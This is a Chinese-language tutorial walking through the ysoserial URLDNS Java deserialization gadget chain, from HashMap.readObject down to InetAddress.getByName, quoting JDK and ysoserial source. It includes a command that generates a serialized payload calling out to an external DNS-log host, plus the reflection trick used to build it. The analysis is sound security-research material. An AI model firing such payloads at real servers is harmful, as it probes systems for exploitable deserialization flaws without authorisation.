Java反序列化之URLDNS链

前置知识

  • private void writeObject(ObjectOutputStream oos),自定义序列化
  • private void readObject(ObjectInputStream ois),自定义反序列化

环境搭建

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

github下载https://github.com/frohoff/ysoserial并导入IDEA,加载项目依赖。

本次环境JDK8

运行生成Payload

Payload生成函数入口:GeneratePayload.class中的main函数,配置参数

运行即可生成序列化后的payload

分析GeneratePayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(final String[] args) {
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
// eg: URLDNS https://www.baidu.com
// payloadType = URLDNS
final String payloadType = args[0];
// command = https://www.baidu.com
final String command = args[1];

// payloadClass = "class ysoserial.payloads.URLDNS"
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}

try {
// 类实例
final ObjectPayload payload = payloadClass.newInstance();
// 获取HashMap对象
final Object object = payload.getObject(command);
PrintStream out = System.out;
// 将HashMap对象序列化输出
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}

重点关注13行final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);通过java的反射机制获取对应类名的class对象

其次关注25行final Object object = payload.getObject(command);将输入的URL作为参数,调用URLDNS对象中的getobject方法获取HashMap对象

Serializer.serialize(object, out);将HashMap对象序列化成字节码,调用ObjectOutputStream的wirteObject函数

URLDNS链分析

借助ysoserial的jar包生成payload并将其保存至shell.txt

1
java -jar ysoserial-all.jar URLDNS "http://fast.eyes.sh" > shell.txt

编写反序列化测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
package ysoserial.secmgr;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class URLDNSTest {
public static void main(String[] args) throws Exception {

FileInputStream fis = new FileInputStream("D:/webtool/java/shell.txt");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}

反序列化将字节转化成对象通过readObject,这里再bit.readObject();下断点,同时在HashMap的readObject函数下断点

运行至bit.readObject();,F7步入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

这里的readObject将读入的字节流转化成为对象,重点关注41行for循环for (int i = 0; i < mappings; i++)之后的代码,这里的for循环逐一读取mappings中的键值对,重点在于putVal(hash(key), key, value, false, false);,putVal方法是往HashMap中存放键值对,而这里对key进行了hash计算,这里的key正是传入的URL对象

逐步F8来到putVal函数处,点击hash来到代码处,下断点F7跟进

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里调用了key的hashCode,这里的key是URL对象,跟进查看URL类中的hashCode方法

1
2
3
4
5
6
7
8
// / synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

注意这里的hashCode要等于-1,这样才会执行hashCode = handler.hashCode(this);

继续跟进代码,发现handler是URLStreamHandler对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

u是之前传入的URL,跟进InetAddress addr = getHostAddress(u);

1
2
3
protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}

继续跟进,到了URL类中的getHostAddress方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}

if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}

hostAddress = InetAddress.getByName(host);中,InetAddress.getByName方法会使用远程请求,进行获取主机的ip

这是正面的链分析:

1
2
3
4
5
6
7
HashMap:readObject                        必须要有一对键值对
HashMap:putVal 需要对Key调用一次hash方法
HashMap:hash key不能等于null 且这里的key需要是URL对象
URL:hashcode hashCode需要为-1
URLStreamHandler.hashCode() handler要为URLStreamHandler对象
URLStreamHandler.hashCode().getHostAddress
URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

这就是整个过程的调用链

Payload生成分析

在第二节中讲述了Payload设生成的主函数,关键代码final Object object = payload.getObject(command);是获取HashMap对象的,分析URLDNS中的getObject代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询,同时也能理解为什么需要将hashCode设置为-1了,这样可以在反序列化的时候调用putVal重新调用hashCode函数,由于这里的hashCode是private属性,故这里使用反射来修改其值

另外为了避免本次put照成请求,ysoserial使用SilentURLStreamHandler 方法,直接返回null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

如果需要在生成payload的类中进行调试,需要将protected synchronized InetAddress getHostAddress(URL u) 注释即可

参考

Java反序列化 — URLDNS利用链分析 - 先知社区 (aliyun.com)

Ysoserial URLDNS链分析 - Zh1z3ven - 博客园 (cnblogs.com)

Java安全之URLDNS链 - nice_0e3 - 博客园 (cnblogs.com)

DnsLog平台